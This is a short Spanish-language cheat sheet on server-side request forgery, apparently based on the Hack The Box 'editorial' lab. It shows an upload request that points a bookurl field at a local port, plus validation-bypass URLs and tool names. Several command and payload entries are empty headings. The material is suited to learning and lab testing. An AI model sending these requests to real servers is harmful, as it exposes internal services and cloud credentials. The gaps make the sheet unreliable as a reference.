Server Side Request Forgery (SSRF)¶
¿Qué es SSRF?¶
La vulnerabilidad Server Side Request Forgery (SSRF) ocurre cuando un atacante puede manipular un servidor para que realice solicitudes HTTP a recursos internos o externos que normalmente no serían accesibles para el atacante.
Impacto¶
Un ataque SSRF puede permitir: - Acceder a recursos internos de la red, como bases de datos o servicios internos. - Filtrar información sensible. - Realizar ataques adicionales, como escaneo de puertos internos o explotación de servicios vulnerables.
Ejemplo¶
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ7BYZLc1jmNjS53B
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryQ7BYZLc1jmNjS53B
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:5000
------WebKitFormBoundaryQ7BYZLc1jmNjS53B
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryQ7BYZLc1jmNjS53B--
- En este ejemplo se envía una solicitud POST a
editorial.htbcon un archivo de libro y una URL de imagen. - en el puerto 5000 hay un servicio vulnerable que puede ser explotado.
SSRF Cheatsheet Ayudas¶
Comandos útiles para pruebas SSRF¶
- Comprobar acceso a recursos internos:
- Escaneo de puertos internos:
- Probar acceso a metadatos en servicios cloud:
Herramientas útiles¶
- Burp Suite: Configura un payload SSRF en el repeater para probar diferentes endpoints.
- SSRFmap: Automatiza la explotación de SSRF.
- HTTPie: Alternativa a
curlpara pruebas HTTP.
Payloads comunes¶
- Acceso a localhost:
- Bypass de validaciones:
http://127.0.0.1#target.com http://[email protected] - Probar diferentes protocolos: